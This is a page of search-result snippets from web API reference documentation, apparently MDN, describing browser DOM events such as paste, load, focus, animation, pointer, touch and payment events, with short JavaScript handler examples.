the paste event is fired on an svggraphicselement when the user has initiated a "paste" action through the browser's user interface.
... bubbles yes cancelable yes interface clipboardevent event handler property onpaste if the cursor is in an editable context (for example, in a <textarea> or an element with contenteditable attribute set to true) then the default action is to insert the contents of the clipboard into the document at the cursor position.
... a handler for this event can access the clipboard contents by calling getdata() on the event's clipboarddata property.
...And 4 more matches
Server-sent events - Web APIs
with server-sent events, it's possible for a server to send new data to a web page at any time, by pushing messages to the web page.
... these incoming messages can be treated as events + data inside the web page.
... concepts and usage to learn how to use server-sent events, see our article using server-sent events.
...And 4 more matches
TimeEvent - Web APIs
WebAPITimeEvent
the timeevent interface, a part of svg smil animation, provides specific contextual information associated with time events.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/timeevent" target="_to...
...p"><rect x="116" y="1" width="90" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="161" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">timeevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties timeevent.detail read only is a long that specifies some detail information about the event, depending on the type of the event.
...And 4 more matches
TouchEvent.touches - Web APIs
syntax var touches = touchevent.touches; return value touches a touchlist listing all the touch objects for touch points that are still in contact with the touch surface, regardless of whether or not they've changed or what their target element was at touchstart time.
... example this example illustrates the touchevent object's touchevent.touches property.
... the touchevent.touches property is a touchlist object and containing a list of touch objects for every point of contact currently touching the surface.
...And 4 more matches
UIEvent.cancelBubble - Web APIs
the uievent.cancelbubble property indicates if event bubbling for this event has been canceled or not.
... it is set to false by default, allowing the event to bubble up the dom, if it is a bubbleable event.
... setting this property to true stops the event from bubbling up the dom.
...And 4 more matches
UIEvent.pageX - Web APIs
WebAPIUIEventpageX
the non-standard, read-only uievent property pagex returns the horizontal coordinate of the event relative to the whole document.
...a standardized version of pagex was added to the mouseevent interface, however, and is well-supported.
... you should not expect to find pagex on any non-mouse events.
...And 4 more matches
Window: animationcancel event - Web APIs
the animationcancel event is fired when a css animation unexpectedly aborts.
... in other words, any time it stops running without sending an animationend event.
... bubbles yes cancelable no interface animationevent event handler property onanimationcancel the original target for this event is the element that had the animation applied.
...And 4 more matches
Window: animationstart event - Web APIs
the animationstart event is fired when a css animation has started.
... if there is an animation-delay, this event will fire once the delay period has expired.
... a negative delay will cause the event to fire with an elapsedtime equal to the absolute value of the delay (and, correspondingly, the animation will begin playing at that time index into the sequence).
...And 4 more matches
Window: load event - Web APIs
WebAPIWindowload event
the load event is fired when the whole page has loaded, including all dependent resources such as stylesheets and images.
... bubbles no cancelable no interface event event handler property onload examples log a message when the page is fully loaded: window.addeventlistener('load', (event) => { console.log('page is fully loaded'); }); the same, but using the onload event handler property: window.onload = (event) => { console.log('page is fully loaded'); }; live example html <div class="controls"> <button id="reload" type="button">reload</button> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { ...
...display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } #reload { height: 2rem; } js const log = document.queryselector('.event-log-contents'); const reload = document.queryselector('#reload'); reload.addeventlistener('click', () => { log.textcontent =''; window.settimeout(() => { window.location.reload(true); }, 200); }); window.addeventlistener('load', (event) => { log.textcontent = log.textcontent + 'load\n'; }); document.addeventlistener('readystatechange', (event) => { log.textcontent = log.textcontent + `readystate: ${document.readystate}\n`; }); ...
...And 4 more matches
Window: pageshow event - Web APIs
the pageshow event is sent to a window when the browser displays the window's document due to navigation.
... this includes: initially loading the page navigating to the page from another page in the same window or tab restoring a frozen page on mobile oses returning to the page using the browser's forward or back buttons during the initial page load, the pageshow event fires after the load event.
... bubbles no cancelable no interface pagetransitionevent event handler property onpageshow examples this example sets up event handlers for events listed in the array events.
...And 4 more matches
Window: resize event - Web APIs
the resize event fires when the document view (window) has been resized.
... bubbles no cancelable no interface uievent event handler property onresize in some earlier browsers it was possible to register resize event handlers on any html element.
... it is still possible to set onresize attributes or use addeventlistener() to set a handler on any element.
...And 4 more matches
WindowEventHandlers.onbeforeprint - Web APIs
the onbeforeprint property of the windoweventhandlers mixin is the eventhandler for processing beforeprint events for the current window.
... these events are raised before the print dialog window is opened.
... the beforeprint and afterprint events allow pages to change their content before printing starts (perhaps to remove a banner, for example) and then revert those changes after printing has completed.
...And 4 more matches
WindowEventHandlers.onpopstate - Web APIs
the onpopstate property of the windoweventhandlers mixin is the eventhandler for processing popstate events on the window.
... a popstate event is dispatched to the window each time the active history entry changes between two history entries for the same document.
... if the activated history entry was created by a call to history.pushstate(), or was affected by a call to history.replacestate(), the popstate event's state property contains a copy of the history entry's state object.
...And 4 more matches
XRReferenceSpaceEvent.transform - Web APIs
the read-only xrreferencespaceevent property transform indicates the position and orientation of the affected referencespace's native origin after the changes the event represents are applied.
... the transform is defined using the old coordinate system, which allows it to be used to convert coordinates from the pre-event coordinate system to the post-event coordiante system.
... syntax let refspace = xrreferencespaceevent.transform; value an xrrigidtransform object providing a transform that can be used to convert coordinates from the pre-event coordinate system to the post-event coordinate system.
...And 4 more matches
XRReferenceSpaceEventInit - Web APIs
the xrreferencespaceeventinit dictionary is used when calling the xrreferencespaceevent() constructor to provide the values for its properties.
... you will not usually need to use this, since these events are created by the webxr infrastructure.
... properties referencespace the xrreferencespace from which the event originated.
...And 4 more matches
XRSessionEvent - Web APIs
the webxr device api's xrsessionevent interface describes an event which indicates the change of the state of an xrsession.
... these events occur, for example, when the session ends or the visibility of its context changes.
... constructor xrsessionevent() creates and returns a new xrsessionevent object configured using the specified xrsessioneventinit object's values as available.
...And 4 more matches
nsIThreadEventFilter
the nsithreadeventfilter interface may be implemented to determine whether or not an event may be accepted by a nested event queue; see nsithreadinternal.pusheventqueue() for more information.
... you should implement this interface and its acceptevent() method, then pass the object implementing it as the filter.
... last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview boolean acceptevent(in nsirunnable event);violates the xpcom interface guidelines methods violates the xpcom interface guidelines acceptevent() this method is called to determine whether or not an event may be accepted by a nested event queue.
...And 3 more matches
Ambient Light Events - Web APIs
the ambient light events are a handy way to make a web page or an application aware of any change in the light intensity.
... light events when the light sensor of a device detects a change in the light level, it notifies the browser of that change.
... when the browser gets such a notification, it fires a devicelightevent event that provides information about the exact light intensity (in lux units).
...And 3 more matches
AnimationPlaybackEvent.currentTime - Web APIs
the currenttime read-only property of the animationplaybackevent interface represents the current time of the animation that generated the event at the moment the event is queued.
... this will be unresolved if the animation was idle at the time the event was generated.
... reduced time precision to offer protection against timing attacks and fingerprinting, the precision of playbackevent.currenttime might get rounded depending on browser settings.
...And 3 more matches
AnimationPlaybackEvent - Web APIs
the animationplaybackevent interface of the web animations api represents animation events.
... as animations play, they report changes to their playstate through animation events.
... constructor animationplaybackevent.animationplaybackevent() constructs a new animationplaybackevent object instance.
...And 3 more matches
BeforeUnloadEvent - Web APIs
the beforeunload event is fired when the window, the document and its resources are about to be unloaded.
... when a non-empty string is assigned to the returnvalue event property, a dialog box appears, asking the users for confirmation to leave the page (see example below).
... when no value is provided, the event is processed silently.
...And 3 more matches
ClipboardEvent() - Web APIs
the clipboardevent() constructor returns a newly created clipboardevent, representing an event providing information related to modification of the clipboard, that is cut, copy, and paste events.
... syntax var clipboardevent = new clipboardevent(type[, options]); parameters the clipboardevent() constructor also inherits arguments from event().
... type is a domstring representing the name of the type of the clipboardevent.
...And 3 more matches
ClipboardEvent - Web APIs
the clipboardevent interface represents events providing information related to modification of the clipboard, that is cut, copy, and paste events.
... constructor clipboardevent() creates a clipboardevent event with the given parameters.
... properties also inherits properties from its parent event.
...And 3 more matches
Document: animationend event - Web APIs
the animationend event is fired when a css animation has completed.
... if the animation aborts before reaching completion, such as if the element is removed from the dom or the animation is removed from the element, the animationend event is not fired.
... bubbles yes cancelable no interface animationevent event handler property onanimationend the original target for this event is the element that had the animation applied.
...And 3 more matches
Document: animationiteration event - Web APIs
the animationiteration event is fired when an iteration of a css animation ends, and another one begins.
... this event does not occur at the same time as the animationend event, and therefore does not occur for animations with an animation-iteration-count of one.
... bubbles yes cancelable no interface animationevent event handler property onanimationiteration the original target for this event is the element that had the animation applied.
...And 3 more matches
Document: pointercancel event - Web APIs
the pointercancel event is fired when the browser determines that there are unlikely to be any more pointer events, or if after the pointerdown event is fired, the pointer is then used to manipulate the viewport by panning, zooming, or scrolling.
... bubbles yes cancelable no interface pointerevent event handler property onpointercancel some examples of situations that will trigger a pointercancel event: a hardware event occurs that cancels the pointer activities.
...this can happen if, for example, the hardware supports palm rejection to prevent a hand resting on the display while using a stylus from accidentally triggering events.
...And 3 more matches
Document: transitioncancel event - Web APIs
the transitioncancel event is fired when a css transition is canceled.
... see globaleventhandlers.ontransitioncancel for more information.
... bubbles yes cancelable no interface transitionevent event handler property globaleventhandlers.ontransitioncancel the original target for this event is the element that had the transition applied.
...And 3 more matches
Element: blur event - Web APIs
the blur event fires when an element has lost focus.
... the main difference between this event and focusout is that focusout bubbles while blur does not.
... bubbles no cancelable no interface focusevent event handler property onblur sync / async sync composed yes examples simple example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const password = document.queryselector('input[type="password"]'); password.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }); password.addeventlistener('blur', (event) => { event.target.style.background = ''; }); result event delegation there are two ways of implementing event delegation for this event: by using the focusout event, or by setting the usecapture parameter of...
...And 3 more matches
Element: focus event - Web APIs
the focus event fires when an element has received focus.
... the main difference between this event and focusin is that focusin bubbles while focus does not.
... bubbles no cancelable no interface focusevent event handler property onfocus sync / async sync composed yes examples simple example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const password = document.queryselector('input[type="password"]'); password.addeventlistener('focus', (event) => { event.target.style.background = 'pink'; }); password.addeventlistener('blur', (event) => { event.target.style.background = ''; }); result event delegation there are two ways of implementing event delegation for this event: by using the focusin event, or by setting the usecapture parameter of...
...And 3 more matches
Element: fullscreenchange event - Web APIs
the fullscreenchange event is fired immediately after an element switches into or out of full-screen mode.
... bubbles yes cancelable no interface event event handler property onfullscreenchange this event is sent to the element which is transitioning into or out of full-screen mode.
... examples in this example, a handler for the fullscreenchange event is added to the element whose id is fullscreen-div.
...And 3 more matches
Element: keyup event - Web APIs
the keyup event is fired when a key is released.
... bubbles yes cancelable yes interface keyboardevent event handler property onkeyup the keydown and keyup events provide a code indicating which key is pressed, while keypress indicates which character was entered.
...an uppercase "a" is reported as 65 by all events.
...And 3 more matches
Event() - Web APIs
WebAPIEventEvent
the event() constructor creates a new event.
... syntax new event(typearg[, eventinit]); values typearg this is a domstring representing the name of the event.
... eventinit optional this is an eventinit dictionary, having the following optional fields: bubbles optional a boolean indicating whether the event bubbles.
...And 3 more matches
Event.composedPath() - Web APIs
the composedpath() method of the event interface returns the event’s path which is an array of the objects on which listeners will be invoked.
... syntax var composed = event.composedpath(); parameters none.
... return value an array of eventtarget objects representing the objects on which an event listener will be invoked.
...And 3 more matches
Event.explicitOriginalTarget - Web APIs
the explicit original target of the event.
... (mozilla-specific) if the event was retargeted for some reason other than an anonymous boundary crossing, this will be set to the target before the retargeting occurs.
... for example, mouse events are retargeted to their parent node when they happen over text nodes (see bug 185889), and in that case currenttarget will show the parent and explicitoriginaltarget will show the text node.
...And 3 more matches
Event.returnValue - Web APIs
WebAPIEventreturnValue
the event property returnvalue indicates whether the default action for this event has been prevented or not.
...setting this property to false prevents the default action.
...you should use preventdefault(), and defaultprevented instead of this historical property.
...And 3 more matches
Event.target - Web APIs
WebAPIEventtarget
the target property of the event interface is a reference to the object onto which the event was dispatched.
... it is different from event.currenttarget when the event handler is called during the bubbling or capturing phase of the event.
... syntax const thetarget = someevent.target; value eventtarget example the event.target property can be used in order to implement event delegation.
...And 3 more matches
FetchEvent.preloadResponse - Web APIs
the preloadresponse read-only property of the fetchevent interface returns a promise that resolves to the navigation preload response if navigation preload was triggered or undefined otherwise.
... syntax var expectedresponse = fetchevent.preloadresponse; value a promise that resolves to a response or otherwise to undefined.
...the serviceworkerglobalscope.onfetch event handler listens for the fetch event.
...And 3 more matches
FetchEvent.request - Web APIs
the request read-only property of the fetchevent interface returns the request that triggered the event handler.
... this property is non-nullable (since version 46, in the case of firefox.) if a request is not provided by some other means, the constructor init object must contain a request (see fetchevent.fetchevent().) syntax var recentrequest = fetchevent.request; value a request object.
...the serviceworkerglobalscope.onfetch event handler listens for the fetch event.
...And 3 more matches
FontFaceSetLoadEvent - Web APIs
the fontfacesetloadevent interface of the the css font loading api is fired whenever a fontfaceset loads.
... constructor fontfacesetloadevent() creates a new fontfacesetloadevent object.
... properties fontfacesetloadevent.fontfacesread only returns an array of fontface instances each of which represents a single usable font.
...And 3 more matches
GlobalEventHandlers.ondblclick - Web APIs
the ondblclick property of the globaleventhandlers mixin is an eventhandler that processes dblclick events on the given element.
... the dblclick event is raised when the user double clicks an element.
... it fires after two click events.
...And 3 more matches
GlobalEventHandlers.onmousemove - Web APIs
the onmousemove property of the globaleventhandlers mixin is an eventhandler that processes mousemove events.
... the mousemove event fires when the user moves the mouse.
...the function receives a mouseevent object as its sole argument.
...And 3 more matches
GlobalEventHandlers.onreset - Web APIs
the onreset property of the globaleventhandlers mixin is an eventhandler that processes reset events.
... the reset event fires when the user clicks a reset button in a form (<input type="reset">).
...the function receives an event object as its sole argument.
...And 3 more matches
HTMLElement: animationiteration event - Web APIs
the animationiteration event is fired when an iteration of a css animation ends, and another one begins.
... this event does not occur at the same time as the animationend event, and therefore does not occur for animations with an animation-iteration-count of one.
... bubbles yes cancelable no interface animationevent event handler property onanimationiteration examples this code uses animationiteration to keep track of the number of iterations an animation has completed: const animated = document.queryselector('.animated'); let iterationcount = 0; animated.addeventlistener('animationiteration', () => { iterationcount++; console.log(`animation iteration count: ${iterationcount}`); }); the same, but using the onanimationiteration event handler property: const animated = document.queryselector('.animated'); let iterationcount = 0; animated.onanimationiteration = () => { iterationcount++; console.log(`animation iteration count: ${iterationcount}`); }; live example html <div class="anima...
...And 3 more matches
HTMLElement: animationstart event - Web APIs
the animationstart event is fired when a css animation has started.
... if there is an animation-delay, this event will fire once the delay period has expired.
... a negative delay will cause the event to fire with an elapsedtime equal to the absolute value of the delay (and, correspondingly, the animation will begin playing at that time index into the sequence).
...And 3 more matches
HTMLElement: pointercancel event - Web APIs
the pointercancel event is fired when the browser determines that there are unlikely to be any more pointer events, or if after the pointerdown event is fired, the pointer is then used to manipulate the viewport by panning, zooming, or scrolling.
... bubbles yes cancelable no interface pointerevent event handler property onpointercancel some examples of situations that will trigger a pointercancel event: a hardware event occurs that cancels the pointer activities.
...this can happen if, for example, the hardware supports palm rejection to prevent a hand resting on the display while using a stylus from accidentally triggering events.
...And 3 more matches
HTMLMediaElement: emptied event - Web APIs
the emptied event is fired when the media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the load() method is called to reload it.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onemptied specification html5 media examples these examples add an event listener for the htmlmediaelement's emptied event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('emptied', (event) => { console.log('uh oh.
...And 3 more matches
HTMLMediaElement: play event - Web APIs
the play event is fired when the paused property is changed from true to false, as a result of the play method, or the autoplay attribute.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onplay specification html5 media examples these examples add an event listener for the htmlmediaelement's play event, then post a message when that event handler has reacted to the event firing.
... using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('play', (event) => { console.log('the boolean paused property is now false.
...And 3 more matches
IDBTransaction: abort event - Web APIs
the abort event is fired when an indexeddb transaction is aborted.
... bubbles yes cancelable no interface event event handler property onabort this can happen for any of the following reasons: bad requests, (for example, trying to add the same key twice, or put the same index key when the key has a uniqueness constraint), an explicit abort() call an uncaught exception in the request's success/error handler, an i/o error (an actual failure to write to disk, for example disk detached, or other os/hardware failure) quota exceeded.
... examples this example opens a database (creating the database if it does not exist), then opens a transaction, adds a listener to the abort event, then aborts the transaction to trigger the event.
...And 3 more matches
InputEvent() - Web APIs
the inputevent() constructor creates a new inputevent.
... syntax event = new inputevent(typearg, inputeventinit); values typearg is a domstring representing the name of the event.
... inputeventinitoptional is a inputeventinit dictionary, having the following fields: inputtype: (optional) a string specifying the type of change for editible content such as, for example, inserting, deleting, or formatting text.
...And 3 more matches
KeyboardEvent.location - Web APIs
the keyboardevent.location read-only property returns an unsigned long representing the location of the key on the keyboard or other input device.
...when such keys fires key events, the location attribute value depends on the key.
... note: numlock key's key events indicate dom_key_location_standard both on gecko and internet explorer.
...And 3 more matches
MIDIMessageEvent - Web APIs
the midimessageevent interface of the web midi api represents the event passed to the onmidimessage event handler of the midiinput interface.
... a midimessage event is fired every time a midi message is sent from a device represented by a midiinput, for example when a midi keyboard key is pressed, a knob is tweaked, or a slider is moved.
... constructor midimessageevent.midimessageevent creates a new midimessageevent object instance.
...And 3 more matches
MediaRecorderErrorEvent - Web APIs
the mediarecordererrorevent interface represents errors returned by the mediastream recording api.
... it is an event object that encapsulates a reference to a domexception describing the error that occurred.
... properties inherits properties from its parent interface, event.
...And 3 more matches
MediaStreamEvent() - Web APIs
the mediastreamevent() constructor creates a new mediastreamevent.
... syntax var event = new mediastreamevent(type, mediastreameventinit); values type is a domstring containing the name of the event, like addstream or removestream.
... mediastreameventinit is a mediastreameventinit dictionary, having the following fields: "stream" of type mediastream representing the stream being concerned by the event.
...And 3 more matches
MerchantValidationEvent - Web APIs
the merchantvalidationevent interface of the the payment request api enables a merchant to verify themselves as allowed to use a particular payment handler.
... constructor merchantvalidationevent() secure context creates a new merchantvalidationevent object describing a merchantvalidation event that will be sent to the payment handler to request that it validate the merchant.
... properties merchantvalidationevent.methodname secure context a domstring providing a unique payment method identifier for the payment handler that's requiring validation.
...And 3 more matches
MouseEvent.altKey - Web APIs
WebAPIMouseEventaltKey
the mouseevent.altkey read-only property is a boolean that indicates whether the alt key was pressed or not when a given mouse event occurs.
... syntax var altkeypressed = instanceofmouseevent.altkey return value a boolean, where true indicates that the key is pressed, and false indicates that the key is not pressed.
... example this example logs the altkey property when you trigger a click event.
...And 3 more matches
MouseEvent.ctrlKey - Web APIs
the mouseevent.ctrlkey read-only property is a boolean that indicates whether the ctrl key was pressed or not when a given mouse event occurs.
... syntax var ctrlkeypressed = instanceofmouseevent.ctrlkey return value a boolean, where true indicates that the key is pressed, and false indicates that the key is not pressed.
... example this example logs the ctrlkey property when you trigger a click event.
...And 3 more matches
MouseEvent.metaKey - Web APIs
the mouseevent.metakey read-only property is a boolean that indicates whether the meta key was pressed or not when a given mouse event occurs.
... syntax var metakeypressed = instanceofmouseevent.metakey return value a boolean, where true indicates that the key is pressed, and false indicates that the key is not pressed.
... example this example logs the metakey property when you trigger a click event.
...And 3 more matches
MouseEvent.shiftKey - Web APIs
the mouseevent.shiftkey read-only property is a boolean that indicates whether the shift key was pressed or not when a given mouse event occurs.
... syntax var shiftkeypressed = instanceofmouseevent.shiftkey return value a boolean, where true indicates that the key is pressed, and false indicates that the key is not pressed.
... example this example logs the shiftkey property when you trigger a click event.
...And 3 more matches
PaymentRequest: shippingaddresschange event - Web APIs
the shippingaddresschange event is sent to the paymentrequest object when the user selects a shipping address or changes details of their shipping address.
... bubbles no cancelable no interface paymentrequestupdateevent event handler property onshippingaddresschange usage notes depending on the browser, the shipping address information may be redacted for privacy reasons.
... that is, the paymentaddress which contains the shipping address may have some portions of its content altered, obscured, or left out entirely in order to prevent identifying the user without their consent (since if they choose to have you ship products to them, you'll need their address).
...And 3 more matches
PaymentRequest: shippingoptionchange event - Web APIs
for payment requests that request shipping information, and for which shipping options are offered, the shippingoptionchange event is sent to the paymentrequest whenever the user chooses a shipping option from the list of available options.
... bubbles no cancelable no interface paymentrequestupdateevent event handler property onshippingoptionchange examples this code snippet sets up a handler for the shippingoptionchange event.
...for example, if there are three options (such as "free ground shipping", "2-day air", and "next day"), each time the user chooses one of those options, this event handler is called to recalculate the total based on the changed shipping option.
...And 3 more matches
PaymentResponse: payerdetailchange event - Web APIs
payerdetailchange events are delivered by the payment request api to a paymentresponse object when the user makes changes to their personal information while filling out a payment request form.
... the event handler for payerdetailchange should check each value in the form that has changed and ensure that the values are valid.
... bubbles no cancelable no interface paymentrequestupdateevent event handler property onpayerdetailchange examples in the example below, onpayerdetailchange is used to set up a listener for the payerdetailchange event in order to validate the information entered by the user, requesting that any mistakes be corrected // options for paymentrequest(), indicating that shipping address, // payer email address, name, and phone number all be collected.
...And 3 more matches
PointerEvent.height - Web APIs
the height read-only property of the pointerevent interface represents the height of the pointer's contact geometry, along the y-axis (in css pixels).
... depending on the source of the pointer device (for example a finger), for a given pointer, each event may produce a different value.
... syntax var contactheight = pointerevent.height; return value contactheight the height of the event's contact area (in css pixels).
...And 3 more matches
PointerEvent.pointerId - Web APIs
the pointerid read-only property of the pointerevent interface is an identifier assigned to a given pointer event.
... the identifier is unique, being different from the identifiers of all other active pointer events.
... syntax var id = pointerevent.pointerid; return value id the pointer event's unique identifier number.
...And 3 more matches
PointerEvent.width - Web APIs
the width read-only property of the pointerevent interface represents the width of the pointer's contact geometry along the x-axis, measured in css pixels.
... depending on the source of the pointer device (such as a finger), for a given pointer, each event may produce a different value.
... syntax var contactwidth = pointerevent.width; return value contactwidth the width of the event's contact area (in css pixels).
...And 3 more matches
RTCDataChannel: error event - Web APIs
a webrtc error event is sent to an rtcdatachannel object's onerror error handler when an error occurs on the data channel.
... bubbles yes cancelable no interface rtcerrorevent event handler property onerror the rtcerrorevent object provides details about the error that occurred; see that article for details.
...tale cookie error", "sender is out of resource (i.e., memory)", "unable to resolve address", "unrecognized sctp chunk type received", "invalid mandatory parameter", "unrecognized parameters", "no user data (sctp data chunk has no data)", "cookie received while shutting down", "restart of an association with new addresses", "user-initiated abort", "protocol violation" ]; dc.addeventlistener("error", ev => { const err = ev.error; console.error("webrtc error: ", err.message); // handle specific error detail types switch(err.errordetail) { case "sdp-syntax-error": console.error(" sdp syntax error in line ", err.sdplinenumber); break; case "idp-load-failure": console.error(" identity provider load failure: http error ", ...
...And 3 more matches
RTCErrorEvent.error - Web APIs
the read-only rtcerrorevent property error contains an rtcerror object describing the details of the error which the event is announcing.
... syntax let errorinfo = rtcerrorevent.error; value an rtcerror object whose properties provide details about the error which has occurred in the context of a webrtc operation.
... examples in this example, a handler is established for an rtcdatachannel's error event.
...And 3 more matches
RTCPeerConnection: negotiationneeded event - Web APIs
a negotiationneeded event is sent to the rtcpeerconnection when negotiation of the connection through the signaling channel is required.
... bubbles no cancelable no interface event event handler property rtcpeerconnection.onnegotiationneeded the negotiationneeded event is first dispatched to the rtcpeerconnection when media is first added to the connection.
...see signaling transaction flow in signaling and video calling for a description of the signaling process that begins with a negotiationneeded event.
...And 3 more matches
RTCPeerConnection: track event - Web APIs
the track event is sent to the ontrack event handler on rtcpeerconnections after a new track has been added to an rtcrtpreceiver which is part of the connection.
... bubbles yes cancelable no interface rtctrackevent event handler property ontrack by the time this event is delivered, the new track has been fully added to the peer connection.
... see track event types in rtctrackevent for details.
...And 3 more matches
RTCTrackEventInit - Web APIs
the webrtc api's rtctrackeventinit dictionary is used to provide information describing an rtctrackevent when instantiating a new track event using new rtctrackevent().
... properties rtctrackeventinit inherits properties from the eventinit dictionary, and also includes the following properties: receiver the rtcrtpreceiver which is being used to receive the track's media.
... streams optional an array of mediastream objects representing each of the streams that comprise the event's corresponding track.
...And 3 more matches
SVGGraphicsElement: copy event - Web APIs
the copy event fires on svggraphicselements when the user initiates a copy action through the browser's user interface.
... bubbles yes cancelable yes interface clipboardevent event handler property oncopy the event's default action is to copy the selection (if any) to the clipboard.
... a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the event's default action using event.preventdefault().
...And 3 more matches
ServiceWorkerGlobalScope: pushsubscriptionchange event - Web APIs
the pushsubscriptionchange event is sent to the global scope of a serviceworker to indicate a change in push subscription that was triggered outside the application's control.
... bubbles no cancelable no interface pushsubscriptionchangeevent event handler property onpushsubscriptionchange usage notes although examples demonstrating how to share subscription related information with the application server tend to use fetch(), this is not necessarily the best choice for real-world use, since it will not work if the app is offline, for example.
... note: in earlier drafts of the specification, this event was defined to be sent when a pushsubscription has expired.
...And 3 more matches
SpeechSynthesisErrorEvent - Web APIs
the speechsynthesiserrorevent interface of the web speech api contains information about any errors that occur while processing speechsynthesisutterance objects in the speech service.
... properties speechsynthesiserrorevent extends the speechsynthesisevent interface, which inherits properties from its parent interface, event.
... speechsynthesiserrorevent.error read only returns an error code indicating what has gone wrong with a speech synthesis attempt.
...And 3 more matches
TouchEvent() - Web APIs
the touchevent() constructor creates a new touchevent.
... syntax event = new touchevent(typearg, toucheventinit); values typearg is a domstring representing the name of the event.
... toucheventinit optional is a toucheventinit dictionary, having the following fields: "touches", optional and defaulting to [], of type touch[], that is a list of objects for every point of contact currently touching the surface.
...And 3 more matches
TouchEvent.altKey - Web APIs
WebAPITouchEventaltKey
summary a boolean value indicating whether or not the alt (alternate) key is enabled when the touch event is created.
... syntax var altenabled = touchevent.altkey; return value altenabled true if the alt key is enabled for this event; and false if the alt is not enabled.
... example this example illustrates how to access the touchevent key modifier properties: touchevent.altkey, touchevent.ctrlkey, touchevent.metakey and touchevent.shiftkey.
...And 3 more matches
TouchEvent.targetTouches - Web APIs
the targettouches read-only property is a touchlist listing all the touch objects for touch points that are still in contact with the touch surface and whose touchstart event occurred inside the same target element as the current target element.
... syntax var touches = touchevent.targettouches; return value touches a touchlist listing all the touch objects for touch points that are still in contact with the touch surface and whose touchstart event occurred inside the same target element as the current target element.
... example this example illustrates the touchevent object's touchevent.targettouches property.
...And 3 more matches
TransitionEvent() - Web APIs
the transitionevent() constructor returns a newly created transitionevent, representing an event in relation with an transition.
... syntax transitionevent = new transitionevent(type, {propertyname: apropertyname, elapsedtime : afloat, pseudoelement: apseudoelementname}); arguments the transitionevent() constructor also inherits arguments from event().
... type is a domstring representing the name of the type of the transitionevent.
...And 3 more matches
UIEvent.detail - Web APIs
WebAPIUIEventdetail
the uievent.detail read-only property, when non-zero, provides the current (or next, depending on the event) click count.
... for click or dblclick events, uievent.detail is the current click count.
... for mousedown or mouseup events, uievent.detail is 1 plus the current click count.
...And 3 more matches
UIEvent.isChar - Web APIs
WebAPIUIEventisChar
the uievent.ischar read-only property returns a boolean indicating whether the event produced a key character or not.
... syntax var ischar = uievent.ischar; value a boolean which is true if the event produces a character; otherwise false.
... some keystroke combinations may raise events but not produce any character (example: ctrl-alt-?).
...And 3 more matches
UIEvent.view - Web APIs
WebAPIUIEventview
the uievent.view read-only property returns the windowproxy object from which the event was generated.
... in browsers, this is the window object the event happened in.
... syntax var view = event.view; view is a reference to an abstractview object.
...And 3 more matches
Window: DOMContentLoaded event - Web APIs
the domcontentloaded event fires when the initial html document has been completely loaded and parsed, without waiting for stylesheets, images, and subframes to finish loading.
... bubbles yes cancelable yes (although specified as a simple event that isn't cancelable) interface event event handler property none the original target for this event is the document that has loaded.
... you can listen for this event on the window interface to handle it in the capture or bubbling phases.
...And 3 more matches
Window: animationend event - Web APIs
the animationend event is fired when a css animation has completed.
... if the animation aborts before reaching completion, such as if the element is removed from the dom or the animation is removed from the element, the animationend event is not fired.
... bubbles yes cancelable no interface animationevent event handler property onanimationend the original target for this event is the element that had the animation applied.
...And 3 more matches
Window: animationiteration event - Web APIs
the animationiteration event is fired when an iteration of a css animation ends, and another one begins.
... this event does not occur at the same time as the animationend event, and therefore does not occur for animations with an animation-iteration-count of one.
... bubbles yes cancelable no interface animationevent event handler property onanimationiteration the original target for this event is the element that had the animation applied.
...And 3 more matches
Window.captureEvents() - Web APIs
the window.captureevents() method registers the window to capture all events of the specified type.
... syntax window.captureevents(eventtype) eventtype is a combination of the following values: event.abort, event.blur, event.click, event.change, event.dblclick, event.dragddrop, event.error, event.focus, event.keydown, event.keypress, event.keyup, event.load, event.mousedown, event.mousemove, event.mouseout, event.mouseover, event.mouseup, event.move, event.reset, event.resize, event.select, event.submit, event.unload.
...--> <script> function reg() { window.captureevents(event.click); window.onclick = page_click; } function page_click() { alert('page click event detected!'); } </script> </head> <body onload="reg();"> <p>click anywhere on this page.</p> </body> </html> notes events raised in the dom by user activity (such as clicking buttons or shifting focus away from the current document) generally pass through the high-level window and document objects first before arriving at the object that initiated the event.
...And 3 more matches
Window: transitioncancel event - Web APIs
the transitioncancel event is fired when a css transition is canceled.
... see globaleventhandlers.ontransitioncancel for more information.
... bubbles yes cancelable no interface transitionevent event handler property globaleventhandlers.ontransitioncancel the original target for this event is the element that had the transition applied.
...And 3 more matches
WindowEventHandlers.onafterprint - Web APIs
the onafterprint property of the windoweventhandlers mixin is the eventhandler for processing afterprint events for the current window.
... these events are raised after the user prints, or if they abort the print dialog.
